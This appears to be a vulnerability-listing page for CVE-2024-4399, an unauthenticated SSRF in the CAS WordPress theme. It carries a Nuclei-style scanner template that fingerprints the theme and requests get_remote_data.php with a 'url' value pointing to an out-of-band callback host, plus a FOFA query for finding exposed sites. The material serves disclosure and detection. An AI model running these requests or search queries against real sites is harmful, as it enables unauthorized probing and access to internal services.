CVE-2024-4399: WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery

2025-08-01 WordPress CAS Theme PoC Public

Description

The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the 'url' parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.

PoC

id: CVE-2024-4399

info:
  name: WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the 'url' parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services.
  remediation: |
    Update CAS WordPress theme to a version later than 1.0.0 that patches the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0690327e-da60-4d71-8b3c-ac9533d82302
    - https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-4399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-4399
    cwe-id: CWE-918
    epss-score: 0.01821
    epss-percentile: 0.77666
  metadata:
    max-request: 2
    product: cas
    fofa-query: body="wp-content/themes/cas/"
  tags: cve,cve2024,wp,wordpress,wp-theme,ssrf,cas,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "themes/cas"
        internal: true

  - raw:
      - |
        GET /wp-content/themes/cas/get_remote_data.php?url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a00473045022100c5c60e5b0ee9f93d733d5e9e268c472e03dd4de8f26ce3254d37b1684345dfbd02201d6c0d7d3cd1d20ea25cb1ca3a6b5ef9cb8cb13fa44f2e2024e3d4f309679df3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities